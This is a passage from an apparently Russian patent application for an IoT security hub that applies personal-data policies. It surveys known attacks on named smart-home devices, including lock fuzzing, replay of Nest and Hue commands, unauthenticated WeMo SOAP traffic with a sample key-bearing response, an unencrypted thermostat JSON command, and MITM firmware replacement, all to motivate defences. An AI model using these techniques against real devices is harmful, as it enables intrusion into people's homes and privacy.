Область техники
Изобретение относится к технологиям, а более конкретно, к способам обеспечения информационной безопасности для IoT-устройств.
Уровень техники
В настоящее время все большее количество устройств оказывается подключено к сети Интернет - начиная с компьютеров и смартфонов пользователей и заканчивая более обыденными вещами, такими как телевизоры или холодильники. В случае подключения новых типов устройств к сети Интернет, они зачастую “приобретают” приставку «Smart» (например, Smart TV). При подключении Smart-устройств к сети Интернет пользователи получают возможность управления работой указанных устройств, в том числе обновления самих устройств, наблюдения за статусом работы устройства (например, холодильника) и интегрирования самого устройства в рамках так называемой концепции “умный дом” (англ. Smart house). Подобная концепция позволяет управлять подобными “умными” вещами (устройствами) из одной точки, проверяя статус работы таких вещей, настраивать их под свои личные нужды. Концепция “умного дома” включает и другую концепцию под названием Интернет вещей (англ. Internet of Things, IoT), которая подразумевает взаимодействие вышеуказанных вещей уже без прямого участия человека.
В настоящее время пользователями широко используются маршрутизаторы, которые позволяют создавать беспроводные (smart-устройства также работают и по проводным сетям) сети, которые в свою очередь позволяют подключать другие умные вещи к сети Интернет. В настоящее время многие роутеры поддерживают возможность создания так называемых неоднородных (гетерогенных) сетей. В качестве примера можно привести сеть из устройств (“умных” вещей), часть из которых соединена с роутером через беспроводную сеть Wi-Fi, а другая часть - через Bluetooth.
Неудивительно, что с ростом количества устройств, которые имеют возможность сетевого взаимодействия, начало расти и количество попыток злонамеренного использования подобных устройств. При получении доступа с правами администратора к роутеру появляется возможность анализировать сетевой трафик, который идет через роутер. При получении доступа к таким устройствам, как “умные часы” (англ. smart watch), появляется возможность также проверять данные на связанных (англ. paired) с этими часами смартфонах. Все эти действия могут привести к краже данных, их подмене или повреждению.
Злонамеренное использование подобных IoT-устройств осуществляется с помощью вредоносных программ, кол-во которых также растет. Ввиду того, что подобные устройства зачастую не имеют высокопроизводительной вычислительной платформы (как правило, это небольшие платформы на базе архитектуры ARM) и работают под управлением малофункциональной операционной системы (ОС), которая использует малое количество ресурсов, то использование каких-либо политик безопасности или антивирусных приложений является избыточным. Также проблема усугубляется тем, что создатели вредоносных приложений только приступили к исследованию возможностей использования подобных устройств, что в свою очередь приводит к тому, что антивирусные компании не успевают реагировать на новые угрозы.
Также IoT-устройства могут порождать большой объем трафика за счет своего количества, чем пользуются создатели ботнетов. В качестве примера можно привести ботнет Hide'n'Seek, который использует p2p-инфраструктуру, что еще больше затрудняет его обнаружение.
Стоит отметить, что повсеместное использование IoT-устройств может сопровождаться вторжением в личную жизнь людей. С одной стороны, человек может доверять устройствам управление данными (в том числе сбор и анализ данных), которые могут прямо или косвенно являться его личной информацией - пульс, расход калорий (“умный” фитнес-браслет), частота звонков (“умные” часы), температура и влажность в доме (“умные” приборы, такие как термометр и гигрометр с обратной связью) и другие. Хотя от использования информации от таких устройств напрямую зависит уровень и качество сервиса, не все пользователи согласны на передачу информации, тем более что злоумышленники также могут получить подобную информацию.
Одной из последних проблем можно назвать также вопросы безопасности, связанные с функционированием “умной” техники в рамках “умного” дома. Например, недопустимо, чтобы температура воздуха поднималась выше 23-25 градусов Цельсия в теплое время года, даже если настройки позволяют поднять температуру выше. Кроме того, этим могут воспользоваться и злоумышленники, выведя из строя ряд датчиков и сменив настройки.
Подобные проблемы могут быть катастрофическими в том случае, если используются уязвимости для индустриального Интернета вещей (англ. Industrial Internet of Things, IIoT). В это определение входит многоуровневая система, включающая в себя датчики и контроллеры, установленные на узлах и агрегатах промышленного объекта, средства передачи, визуализации и анализа собираемых данных. Если один из подобных узлов будет скомпрометирован, то вполне возможен отказ в обслуживании не одного устройства или набора устройств в доме, но даже изменение работы или отказ критически важной инфраструктуры в рамках целого города (например, системы управления городским траффиком или работы городских камер). В качестве примера использования таких уязвимостей можно привести такие атаки, как Stuxnet1 (1https://www.kaspersky.ru/about/press-releases/2014_stuxnet-v-detaliakh) и Duqu2 (2https://www.securitylab.ru/news/tags/Duqu/).
Известны патентные публикации, которые раскрывают возможные решения по обеспечению информационной безопасности, связанной с IoT-устройствами. Например, в публикации US20180041546 раскрывается дизайн безопасности для IoT-систем на основании желаемых пользователем характеристик. Публикация US20180040172 раскрывает мониторинг взаимодействия машины с IoT-устройством и анализ возможных информационных рисков. Однако в приведенных публикациях не раскрывается комплексный подход для решения задач информационной безопасности вкупе с обеспечением безопасности и корректной работы IoT-устройств, а также обеспечения необходимого уровня конфиденциальности.
Анализ предшествующего уровня техники позволяет сделать вывод о неэффективности и в некоторых случаях о невозможности применения предшествующих технологий, недостатки которых решаются настоящим изобретением, а именно способом применения политик обработки личных данных для IoT-устройства со стороны элемента сетевой инфраструктуры.
Раскрытие изобретения
Технический результат настоящего изобретения заключается в реализации назначения изобретения.
Согласно одному из вариантов реализации указанный результат достигается с помощью способа применения политик обработки личных данных для умного устройства (далее - устройство) со стороны элемента сетевой инфраструктуры (далее - хаб), способ содержит этапы: анализируют протокол передачи данных между устройством и хабом; выделяют по меньшей мере одно поле данных, которое содержит личные данные; анализируют выделенное поле с использованием политик обработки личных данных, загруженных на хаб; применяют политику по результатам анализа.
Краткое описание чертежей
Дополнительные цели, признаки и преимущества настоящего изобретения будут очевидными из прочтения последующего описания осуществления изобретения со ссылкой на прилагаемые чертежи, на которых:
На Фиг. 1 приведена схема IoT-экосистемы (инфраструктуры).
Фиг. 2 иллюстрирует IoT-устройство, которое может быть защищено с помощью установленной защищенной ОС.
Фиг. 3 показывает пример схемы IoT-экосистемы (инфраструктуры), в которую добавлены элементы, которые обеспечивают необходимый уровень безопасности на разных уровнях.
Описание основной функциональности хаба 310 иллюстрируется на Фиг. 4.
Фиг. 5 иллюстрирует разбиение на домены (по безопасности).
Фиг. 6 иллюстрирует разбиение на домены (по функциональности).
Фиг. 7 показывает разбиение на домены (по иерархии).
Фиг. 8 показывает построение карты сети с помощью хаба 310.
Фиг. 9 иллюстрирует способ работы хаба 310 при подключении нового устройства.
На Фиг. 10 отображен способ использования хаба 310 в рамках исследования уязвимостей для IoT-устройств.
Фиг. 11 иллюстрирует создание и использование правил для IoT-устройств.
Фиг. 12 отображает схему шифрования и токенизации данных пользователей, передаваемых с IoT-устройств.
Фиг. 13 отображает способ создания профиля устройства, обучения и использования обученной модели устройства для прогнозирования поведения устройства.
Фиг. 14а-в отображают построение профиля сети из IoT-устройств с помощью хаба 310 в течение промежутка времени.
Фиг. 15 отражает способ построения профиля сети.
Фиг. 16 показывает настройку устройств в зависимости от типа сети.
Фиг. 17 отображает использование модели для оценки степени износа устройств.
На Фиг. 18 отображен пример изменения (шейпинга) трафика с целью сгладить пики, которые могут указывать на определенные действия пользователя.
Фиг. 19 отображает применение политик обработки личных данных.
Фиг. 20 представляет пример компьютерной системы общего назначения, с помощью которой может быть реализовано настоящее изобретение.
Описание вариантов осуществления изобретения
Объекты и признаки настоящего изобретения, способы для достижения этих объектов и признаков станут очевидными посредством отсылки к примерным вариантам осуществления. Однако настоящее изобретение не ограничивается примерными вариантами осуществления, раскрытыми ниже, оно может воплощаться в различных видах. Сущность, приведенная в описании, является ничем иным, как конкретными деталями, необходимыми для помощи специалисту в области техники в исчерпывающем понимании изобретения, и настоящее изобретение определяется в объеме приложенной формулы.
Введем несколько определений, которые будут использоваться в рамках настоящей заявки на изобретение.
“Умные” вещи (IoT-устройства, далее будут использоваться оба термина) - повседневные вещи, такие как часы, уличные фонари и прочие источники освещения, камеры наблюдения, холодильники, диктофоны, браслеты, пульсометры, термостаты и другие, которые имеют доступ в Интернет (или локальную сеть) через различные виды проводных и беспроводных соединений, такие как Wi-Fi или Bluetooth. Данные устройства создают сетевые соединения, получают и обрабатывают входящий трафик, имеют интерфейс для взаимодействия (API, англ. Application Programmable Interface), что позволяет не только следить за параметрами вещи (устройства), но также настраивать ее. Кроме того, к IoT-устройствам можно отнести и ряд сетевых устройств, такие как усилители сигнала или медиаприставки.
IoT-устройства находят свое применение в различных областях, таких как: автотранспорт (англ. automotive), потребительские товары (например, умные часы), объекты инфраструктуры (различные датчики, например датчик влажности или датчик температуры), медицина (например, кардиостимулятор с возможностью отправки данных о своей работе на локальный сервер), умный дом (англ. smart home/building) и другие. Зачастую IoT-устройства объединяются в инфраструктуру, которая позволяет выполнять задачи на уровне не только отдельного человека или домохозяйства, но и на уровне городов или государств.
Компрометация/кража/повреждение IoT-устройств могут привести к различным последствиям для всей инфраструктуры. Ниже выделены характеристики, на которые влияет повреждение IoT-устройства.
Целостность (англ. integrity) - насколько повреждение одного или нескольких IoT-устройств влияет на целостность работы всей инфраструктуры.
Доступность (англ. availability) - насколько повреждение одного или нескольких IoT-устройств влияет на доступность работы как самого устройства, так и нескольких связанных с ним устройств (инфраструктуры).
Конфиденциальность (англ. confidentiality) - влияние компрометации или кражи одного или нескольких IoT-устройств на доступ к личной информации пользователя(-ей).
“Умные” вещи могут использовать различные виды сетевых протоколов и стандартов, такие как беспроводные (например, 2G, 3G, LTE, WiFi, BlueTooth, ZigBee, LoRa), или проводные (например, Ethernet), или иные протоколы, такие как BACnet, Modbus, SNMP, RS232, RS422, RS485.
Обмен данными между самими IoT-устройствами может быть реализован с помощью широкой номенклатуры протоколов обмена данными. В качестве примера можно привести HTTP, веб-сокеты, MQTT (Message Queue Telemetry Transport), CoAP (Constrained Application Protocol), XMPP (Extensible Messaging and Presence Protocol), SNMP (Simple Network Management Protocol), AliJoyn и другие. Поддержка этих протоколов, как правило, реализуется в рамках средств разработки (англ. SDK, Software Development Kit), которые используются при создании программной части IoT-устройств.
Одной из проблем IoT-устройств является широкое разнообразие самих устройств и вариантов их применения. Люди могут использовать персональный шагомер (например, в составе “умных” часов, англ. smartwatch), в машине могут использоваться разнообразные датчики и блоки (англ. ECU, Electronic Control Unit), в доме могут работать датчики температуры, давления и других параметров, использоваться системы видеонаблюдения и “умные” замки (в качестве примера можно привести August Smart Lock, который позволяет отпирать замок с помощью смартфона), а на промышленном предприятии разнообразные датчики используются для контроля всего процесса производства.
Уже упомянутые проблемы с безопасностью IoT-устройств связаны с большим разнообразием устройств, используемых интерфейсов, а также наличием уязвимостей нулевого дня1 (1https://www.anti-malware.ru/threats/zero-day).
Настоящее изобретение предлагает решение проблем безопасности для IoT-устройств на разных уровнях:
• на уровне самого устройства,
• на уровне сети,
• на уровне инфраструктуры.
Наибольшим уровнем защищенности будет обладать IoT-инфраструктура, которая обладает реализацией указанных решений на каждом из указанных уровней.
На уровне самого устройства может быть также несколько реализаций решения для обеспечения информационной безопасности в зависимости от аппаратно-программных возможностей. Это может быть защищенная ОС (англ. secure operating system), легковесный клиент или полноценное антивирусное приложение.
Кроме того, в рамках инфраструктуры IoT-устройств также рассматривается вопрос построения доверия (англ. root of trust). Так как различные элементы (узлы) инфраструктуры могут быть как доверенными, так и недоверенными, то следует строить всю систему безопасности исходя из подобных знаний, ограничивая доступ со стороны недоверенных элементов.
Еще одним немаловажным моментом является тот факт, что вся IoT-инфраструктура не является статичной - в нее могут добавляться новые устройства, изменяться старые и т.д. Таким образом, встает проблема прогнозирования возможных угроз и выделения уязвимых устройств.
Собирая данные об устройстве, можно определять его тип, а также по собранным данным обучать и использовать уже модели машинного обучения для такого типа устройств для прогнозирования их использования. В качестве примера можно привести IP-камеры, которые выходят на рынок по несколько моделей в год даже от одного производителя, что требует глубокого анализа с точки зрения информационной безопасности, так как новые модели могут иметь как старые, так и новые уязвимости.
Одни и те же IoT-устройства могут использоваться в разных инфраструктурах, поэтому к одним и тем же устройствам могут применяться разные требования. Например, для температурных датчиков для дома и для промышленного предприятия используются разные допуски по отношению к параметрам использования.
Еще одна проблема - использование различных устройств в разных условиях - температура, влажность, давление, перегрузки и т.д. Требуется учитывать данные условия для прогнозирования выхода из строя или иных проблем (в том числе и связанных с безопасностью). Для ряда приложений, которые требуют принятия решений в режиме реального времени, в частности для IIoT, время реакции на событие/инцидент в таких средах измеряется в миллисекундах и секундах, задержки, связанные с отправкой данных, или ввиду износа определенных частей недопустимы. Например, износ может быть связан с программно-аппаратной платформой IoT-устройства - переполнение кэша, повышение нагрузки с течением времени, некорректная работа элементов питания. Таким образом, дополнительно требуется прогнозировать время работы IoT-устройств с целью определения возможных отказов до их фактического наступления.
Еще один аспект (но отнюдь не самый маловажный) - обеспечение конфиденциальности. Построение общей политики конфиденциальности, которая используется на всех элементах сети для контроля личных данных пользователя (или пользователей), а также критических (конфиденциальных) данных предприятия, учреждения, инфраструктуры, приобретает в последнее время все большую актуальность.
Описание экосистемы IoT-устройств(общее)
На Фиг. 1 приведена схема IoT-экосистемы (инфраструктуры). IoT-устройства 110 могут быть как носимыми устройствами для людей (смартфон, умные часы и т.д.), различными предметами быта с возможностью автоматизации и подключения к сети Интернет, датчиками внутри машины или дома, так и различными датчиками на предприятии. Устройства 110 получают, обрабатывают и передают информацию (например, данные о температуре) либо другим таким же устройствам 110 (например, умные часы могут быть сопряжены со смартфоном) или через шлюз 120. Шлюз 120 может быть домашним роутером или иным сетевым устройством (концентратор, коммутатор), предназначенным для передачи данных по сети к платформе 130. Шлюз 120 может поддерживать различные протоколы передачи данных, например, для некоторых устройств 110 используется протокол ZigBee (например, “умные” розетки), а для соединения с платформой 130 используется Ethernet-соединение через интернет-провайдера.
Под платформой 130 понимается один или несколько серверов обработки данных, которые, как правило, называются облачными сервисами (англ. cloud service / infrastructure). В рамках платформы 130 работают приложения 140, которые позволяют обрабатывать и интерпретировать данные с устройств 110. Пользователи могут использовать отдельные устройства 150 (это могут быть смартфоны, персональные компьютеры и т.д.) для управления устройствами 110 либо напрямую, либо через приложения 140. Как правило, один или несколько шлюзов 120 с подключенными устройствами 110 и 150 образуют персональную сеть (англ. PAN, Personal Area Network). В одном из вариантов реализации внутри подобной сети может быть размещена платформа 130 или ее часть.
В качестве примера можно привести платформу умного дома от компании Xiaomi1 (1https://xiaomi-mi.us/mi-smart-home/). Устройствами 110 могут быть лампы освещения Yeelight Smartbulb, сетевой фильтр Mi Smart Power Plug, средство управления Mi Smart Remote Center. Для обработки данных с указанных устройств используется собственная платформа 130 Mi Eco Cloud, которая позволяет использовать различные приложения 140 (в том числе и сторонние) для обработки данных и управления устройствами 110.
Рассмотрим различные аспекты безопасности на разных уровнях - от устройств 110 до приложений 140.
На уровне устройств 110 может быть затратно (как по ресурсам, так и по времени) или даже невозможно построить аутентификацию, использующую PKI (Public Key Infrastructure), например, из-за отсутствия аппаратной поддержки (или низкой производительности программной поддержки) функций шифрования устройствами 110.
Важно отметить, что помимо данных, получаемых от устройств 110, также следует помнить о конфиденциальности при использовании и хранении данных. В качестве примера можно привести больницу, где врач записывает показания медицинских аппаратов о состоянии больных. Аппараты - они же устройства 110 - передают личные данные пользователей (пациентов) через сетевые устройства (шлюзы) 120 в платформу 130. Но такие данные, как местонахождение (геолокация) врача, который перемещался по больнице, и время его нахождения в определенных местах, также являются важной информацией, так как они могут раскрывать часть личной информации самих пользователей на основе ряда предположений о здоровье больных. А использование методов обработки больших данных (англ. big data analysis) позволяет делать и более продвинутые предположения исходя из анализа подобных метаданных.
Отображенная на Фиг. 1 схема инфраструктуры может быть динамической. Часть устройств 110 может относиться, например, к датчикам в составе автомобиля или иного другого транспортного средства. В качестве датчиков могут выступать как различные блоки (ECU), так и иные устройства, например средства телематики, которые передают данные о передвижении автомобиля в страховую компанию, которая в свою очередь использует свои приложения 140 для обработки получаемых данных в рамках предоставляемой платформы 130. Таким образом, нельзя говорить, что инфраструктура является чем-то постоянным и/или гомогенной структурой, а может изменяться в течение времени или под действием сторонних факторов или событий.
Выделим ключевые моменты информационной безопасности IoT-устройств 110:
• Безопасность самого устройства: определение конфигурации устройства, обеспечение целостности данных, выявление уязвимостей.
• Безопасность приложений, работающих в рамках платформы: обеспечение целостности данных пользователей и обеспечение корректной работы самих приложений.
• Безопасность процесса работы и взаимодействия IoT-устройств с платформой.
Для обеспечения безопасности на разных уровнях производится:
• анализ существующих угроз и разработка средств и методов противодействия,
• анализ защищаемых систем, выявление слабых мест и предсказание (моделирование) на основе этого возможных угроз и векторов атак.
Под атакой подразумевается использование уязвимости или иных недостатков (например, слабый пароль) в программно-аппаратной части устройства 110, шлюза 120, платформы 130 или приложения 140 с целью получения возможности несанкционированного доступа к функциональным возможностям или данным указанных устройств/приложений.
В качестве угроз рассматриваются:
• Нарушение целостности (англ. integrity) данных. Под нарушением целостности понимается модификация, удаление или подмена данных. Например, программы-вымогатели, которые шифруют данные пользователя (к примеру, электронные документы или изображения) для последующего шантажа.
• Вторжение (англ. intrusion). Примером является сетевая атака, целью которой является получение доступа к одному из устройств сети.
• Эскалация привилегий, например получение прав доступа уровня root / administrator. Подобную атаку осуществляют с помощью эксплуатирования уязвимостей, в том числе и использованием уязвимостей нулевого дня (англ. 0-day или zero day).
• Утечка данных. С этим связана кража данных пользователей, которые могут храниться на устройствах 110, в том числе и персональные (например, данные о перемещении человека или его жизненные показатели).
• Прерывание работы сервисов. Например, остановка или некорректная работа приложений 140. Подобные атаки могут быть осуществлены с помощью атак “отказ в обслуживании” на сервис 130.
• Использование вычислительных ресурсов. Например, превращение атакованной системы в элемент бот-сети (англ. botnet), используемой, к примеру, для выполнения DDOS-атак, или выполнение расчетов на атакованной системе, таких как вычисление (майнинг) криптовалют.
Для обеспечения защиты от подобных угроз на устройствах 110 необходима поддержка аутентификации X.509 и возможность проверки цифровых подписей. Также требуется поддержка одного или нескольких стандартов шифрования для передачи и хранения данных. В идеальном случае со стороны устройств должна быть поддержка системы обнаружения вторжений (англ. IDS, intrusion detection system), а также удаленное администрирование настроек безопасности.
Примером легкой (англ. lightweight) или встроенной (англ. embedded) операционной системы на устройствах 110 может быть Huawei LiteOS разработки компании Huawei.
Для шлюзов 120 выделяют следующие возможности:
• фильтрация передаваемого контента и определение сетевых протоколов для обмена данными с устройствами 110;
• поддержка списка запрещенных устройств (англ. black list) для устройств 110, чтобы обеспечивать изоляцию уязвимых или ненадежных (неизвестных) устройств;
• поддержка IDS.
Для платформы 130 можно выделить следующие необходимые для обеспечения защиты особенности:
• поддержка таких сетевых экранов, как Distributed Firewall (DFW), Web Application Firewall (WAF);
• изоляция данных от разных устройств 110;
• поддержка обеспечения конфиденциальности;
• поддержка сторонних API для дополнительного обеспечения информационной безопасности.
После описания необходимых возможностей у платформы и шлюзов для проверки трафика IoT-устройств следует рассмотреть возможные угрозы для подобных устройств 110, а также возможные требования для предотвращения подобных угроз.
Угрозы (описание)
В рамках настоящих примеров все приведенные IoT-устройства, для которых приведены примеры атак, отсылаются к устройствам 110 на Фиг. 1.
Пример 1
August Smart Lock.
Данное IoT-устройство представляет “умный” замок, который активируется (т.е. изменяет состояние “открыт/заперт”) при наличии поблизости доверенного устройства через Bluetooth-протокол (точнее, Bluetooth Low Energy, BLE). На доверенном устройстве используется специальное приложение, которое посылает команды по блокировке/разблокировке замка. Дополнительно приложение связывается через сеть с серверами August, через которые и задают права доступа к замку.
Для коммуникации используются уникальные сессионные ключи и AES-шифрование. Сам замок может хранить до 256 ключей шифрования, при этом нулевой ключ является неизменяемым ключом. Эти ключи используются в оффлайн-режиме (когда нет соединения с серверами August).
По протоколу Bluetooth передается информация об аутентификации телефона, правах доступа, о том, кто разблокировал/заблокировал замок. Пользователи делятся на два типа - OWNERS (хозяева) и GUESTS (гости), для которых различается процедура установки соединения.
Одна из известных атак происходит на сервера August путем изменения переменных при запросах, такая атака позволяет изменять права доступа или получать права доступа GUESTS для любых замков.
Другой тип атак основан на работе замка в оффлайн режиме, когда замок не получил от серверов August информации об отзыве прав доступа. Для “умных” замков может быть произведена следующая атака: для определенного смартфона делается отзыв на права доступа, но этот смартфон переключается в оффлайн режим (т.е. нет соединения с сетью), из-за чего облачный сервис не может подтвердить отзыв прав доступа с этого смартфона. Смартфон все еще может использоваться для доступа к этому замку, хотя права были отозваны. Такая атака называется атакой на согласованность состояний (англ. state consistency attack).
Еще одной атакой является фаззинг (англ. fuzzing) управляющих команд, например добавлением случайной последовательности байт после кода (англ. opcode) команды, что приводит умный замок в состояние ошибки и заставляет его открыться.
При краже телефона владельца возможен доступ при работе опции auto-unlock.
Еще одна атака использует сниффинг BLE-трафика.
Таким образом, для защиты от приведенных выше атак требуются: контроль доступа к устройствам при их работе в оффлайн-режиме, проверка трафика между устройствами.
Пример 2
Умный дом, в составе которого имеются “умная” лампочка Philips Hue, выключатель Belkin WeMo, датчик дыма Nest Protect.
Nest Protect использует защищенный протокол аутентификации (такой как SSO, Single Sign On) со своими серверами, используя OAuth 2.0 токен для обмена информацией, которая потом попадает на телефон пользователя.
В качестве атак может выступать отслеживание сетевых пакетов, атаки на учетные записи (англ. credential attacks) и загрузка вредоносного ПО на само устройство (например, Nest Protect). Поскольку сниффинг трафика злоумышленником не даст результатов, так как соединение зашифровано, а прав на установку ПО по умолчанию нет, поэтому остается атака на учетную запись.
Другой вариант атаки на Nest Protect включает replay-атаки, когда коррелируется размер сетевых пакетов с изменением работы самого устройства. Например, исследователями было установлено1 (1B. Copos, K. Levitt, M. Bishop, and J. Rowe, “Is Anybody Home? Inferring Activity From Smart Home Network Traffic,” 2016 IEEE Security and Privacy Workshops (SPW), 2016), что пакеты размерами 1663, 1631, 1711, 1786 и 1819 изменяли состояние Nest Protect, что делает возможным повторную отправку (или комбинирование) таких пакетов для изменения состояния устройства (например, отключение).
Для идентификации датчика Nest Protect следует считать на нем QR-код (обычно с помощью смартфона). Затем пользователю следует ввести дополнительную информацию (например, пароль WLAN). Для первоначальной настройки используется канал Bluetooth. Затем связь с датчиком выполняется уже через WLAN, несколько датчиков Nest Protect могут связываться между собой тоже через WLAN, но также и через протокол 802.15.4 (ZigBee, WirelessHART, MiWi и другие протоколы), если WLAN выйдет из строя.
Для Philips Hue первичная авторизация происходит с помощью GET- и PUT-запросов, в которых передается информация о самом устройстве (лампочке). Напрямую к такой лампочке (точнее, к управляющему чипу) невозможно подключиться со смартфона. Для этого используется специальное устройство (хаб), которое отправляет команды самим лампочкам через Zigbee-протокол.
На Philips Hue может быть произведена replay атака - например, включение или выключение лампочки. Используется порт 80 для прослушивания запросов, которые имеют JSON-формат. Также хаб для Philips Hue может рассылать широковещательные запросы на все лампочки Philips Hue, что также является возможным вектором атаки.
Belkin WeMo использует SOAP-протокол для коммуникации между устройством и выключателем. Аутентификации нет, как и шифрования соединения.
Ответ от устройства приходит в таком виде:
HTTP/1.1 200 OK
CONTENT-LENGTH: 577
CONTENT-TYPE: text/xml; charset="utf-8”
DATE: Sat, 21 Jun 2014 12:17:35 GMT
EXT:
SERVER: Unspecified, UPnP/1.0, Unspecified
X-User-Agent: redsonic
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:RemoteAccessResponse xmlns:u="urn:Belkin:service:remoteaccess:1”>
<homeId>1101801</homeId>
<pluginprivateKey>aca02649-e097-4079-859e-76ed2666fdec</pluginprivateKey>
<smartprivateKey>7b2b5736-3dfe-40e0-b2d5-91370faaa588</smartprivateKey>
<resultCode>PLGN_200</resultCode>
<description>Successful</description>
<statusCode>S</statusCode>
<smartUniqueId>358240057593091</smartUniqueId>
</u:RemoteAccessResponse>
</s:Body> </s:Envelope>
Что позволяет злоумышленникам прослушивать и подменять данные, отправлять различные команды при знании параметров устройства.
WeMo использует OpenWrt - операционную систему на базе Linux.
Первоначальное определение устройства происходит с помощью протокола UDP через включение горячей точки (англ. hotspot) на устройстве (SSDP/UDP мультикаст пакет), затем устройство обнаруживается с помощью приложения на смартфоне. Через серию HTTP-запросов получают MAC-адрес, серийный номер, имя устройства, описание функциональности. Все это хранится в XML-файлах на самом устройстве, к которым также можно получить доступ.
Далее устройство получает пароль от сети WiFi и уже соединяется с приложением на смартфоне через существующую WiFi-сеть. Обмен командами осуществляется через SOAP-протокол. Команды указаны в заголовке SOAPAction.
Кроме того, WeMo-приложения для смартфона (для управления умными устройствами) имеют уязвимости. Еще один вариант атаки - эмуляция устройства, когда приложение на смартфоне видит эмулируемое устройство.
С помощью эмулируемого устройства можно украсть пользовательский пароль от личного кабинета WeMo. После получения пароля к WiFi-сети можно красть различные пользовательские данные.
Для анализа приложения WeMo злоумышленники могут использовать ряд приложений, такие как «apktool», «dex2jar» и «jd-gui».
Для защиты конфиденциальности для Nest Protect требуется блокировать/фильтровать отправку данных на сервер логирования.
Таким образом, для описанных выше устройств уже существует сильная защита, для некоторых ее нет вовсе. Требуется выделение пула устройств, для которых не предусмотрено мер по информационной защите, и их дополнительная настройка или защита извне.
В качестве других примеров угроз можно привести хаб для управления светом LinkHub (в котором исследователи отметили отсутствие шифрования, передачу данных в открытом виде), умную лампочку Lifx Bulb (недостаточный уровень авторизации), устройство для передачи аудиопотоков Muzo Cobblestone (отсутствие шифрования) и другие аналогичные устройства. Производители подобных устройств постоянно выпускают обновления прошивок, но в силу ряда причин (отсутствие соединения, нежелание пользователей, программные ошибки) часть устройств может иметь устаревшую программную часть, которая содержит уязвимости.
Лампочки TP-Link Smart LED Light Bulb подвержены replay-атакам. Такие атаки заключаются в том, что перехватывается сетевой пакет с командой, дублируется и отправляется снова, таким образом устройство получает две команды сразу. Например, для подобной лампочки включение и выключение осуществляются одной и той же командой и использование такой атаки приведет к тому, что лампочка, например, будет только мигать, но не будет включаться. Это раздражает пользователей, что сказывается на QoS (англ. Quality of Service). Одним из простых вариантов защиты является использование счетчика при отправке команд, что не позволит дублировать одну и ту же команду дважды. Также TP-Link Smart LED Light Bulb и Philips Hue подвержены MITM-атакам (Man in the Middle).
Для термостата Vine Wifi Thermostat данные шифруются с помощью TLS 1.2 только между смартфоном и сервером, а вот в WiFi-сети при передаче данных к самому термостату шифрования нет, и можно, например, поменять расписание использования термостата, которое выглядит следующим образом (JSON-формат):
{"count":"181",
"t_count":"0",
"cmd":"device/set_model_info",
"device_id":"845dd750d7d4",
"timestamp":1508608716104,
"mode":"1","limit":"60-85",
"name":"Summer-01",
"state":1,
"model_id":195592,
"data":
{
"unit":"F",
"items1":[
{"c":"0","t":"85","h":"0"},
{"c":"0","t":"78","h":"360"},
{"c":"0","t":"85","h":"480"},
{"c":"0","t":"78","h":"1020"},
{"c":"0","t":"85","h":"1320"}],
"items2":[
{"c":"0","t":"85","h":"0"},
{"c":"0","t":"78","h":"360"},
{"c":"0","t":"85","h":"480"},
{"c":"0","t":"78","h":"1020"},
{"c":"0","t":"85","h":"1320"}],
"items3":[
{"c":"0","t":"85","h":"0"},
{"c":"0","t":"78","h":"360"},
{"c":"0","t":"85","h":"480"},
{"c":"0","t":"78","h":"1020"},
{"c":"0","t":"85","h":"1320"}],
"items4":[
{"c":"0","t":"85","h":"0"},
{"c":"0","t":"78","h":"360"},
{"c":"0","t":"85","h":"480"},
{"c":"0","t":"78","h":"1020"},
{"c":"0","t":"85","h":"1320"}],
"items5":[
{"c":"0","t":"85","h":"0"},
{"c":"0","t":"78","h":"360"},
{"c":"0","t":"85","h":"480"},
{"c":"0","t":"78","h":"1020"},
{"c":"0","t":"85","h":"1320"}],
"items6":[
{"c":"0","t":"85","h":"0"},
{"c":"0","t":"78","h":"480"},
{"c":"0","t":"60","h":"840"},
{"c":"0","t":"78","h":"855"},
{"c":"0","t":"61","h":"870"},
{"c":"0","t":"85","h":"1320"}],
"items7":[
{"c":"0","t":"85","h":"0"},
{"c":"0","t":"78","h":"480"},
{"c":"0","t":"85","h":"1320"}]
}
}
Обновление до версии 1.3.1 и более поздней решает данную проблему. Таким образом, для ряда устройств решением проблем выступает обновление прошивки.
Можно привести примеры по утечке данных со стороны IoT-устройств. По активности трафика для устройства Sense Sleep Monitor можно отслеживать, когда пользователь спит, что является косвенной утечкой персональных данных. Камера Nest Cam Indoor активно отправляет трафик только когда в зоне видимости кто-то появляется (т.е. определяется движение).
Еще одной проблемой является построение иерархии IoT-устройств, которая заключается в том, что одно или несколько IoT-устройств подключаются к другому IoT-устройству, которое в свою очередь подключается к еще одному IoT-устройству. И только последнее IoT-устройство связано непосредственно с шлюзом 120.
В качестве примера можно привести набор лампочек (например, Osram Lightify или GE Link), которые связаны по ZigBee-протоколу с хабом, работающим по стандарту Zigbee Light Link. Сам хаб может управляться через отдельное устройство, которое также объединяет и иные IoT-устройства, формируя управляющие элементы. Таким образом, часть IoT-устройств может быть скрыта при попытке инвентаризации всех устройств в рамках сети, потому что ими нельзя управлять напрямую. Это также порождает проблему, связанную с тем, что злоумышленники могут получить контроль над одним из IoT-устройств.
Хаб LightwaveRF предназначен для управления IoT-устройствами, например, связанными с освещением (умными лампочками). Уязвимость заключается в том, что каждые 15 минут устройство проверяет наличие новых прошивок на сервере через незашифрованный канал по протоколу Trivial File Transfer Protocol (TFTP). Атака типа MITM позволяет подменить прошивку, что позволит злоумышленнику получить контроль над устройством. Кроме того, появится возможность отправки команд для управления освещением.
Также в дальнейшем в заявке будет рассмотрен вопрос по контролю физического доступа к умным вещам, так как используя инженерные порты (например, закрытый по умолчанию USB-порт) злоумышленник может взять под контроль устройство.
Еще одним вариантом атаки на IoT-устройства является перехват и подмена трафика между платформой 130, где установлены приложения 140, с которыми и происходит обмен данными от IoT-устройств. Подобные атаки можно делать с помощью методов спуфинга ARP-протокола (англ. ARP spoofing), а также подменой DNS-записей, что позволяет перенаправлять трафик на вредоносные устройства или сетевые узлы и эмулировать ответ от приложений 140 в облачном сервисе 130. В ряде случаев трафик может быть даже не зашифрован, а пользователи могут использовать слабые пароли (например, 1234 или qwerty) для доступа к личному кабинету в рамках приложения 140, что позволяет злоумышленникам производить перебор паролей и получать доступ.
Кроме IoT-устройств, которые выполняют определенные функции (например, термостат или освещение), есть также IoT-устройства, которые управляют другими IoT-устройствами - так называемые контроллеры. Их основные функции:
• создание сцен для каждой комнаты с помощью графического интерфейса;
• настройка таймеров и уведомлений о нештатных ситуациях;
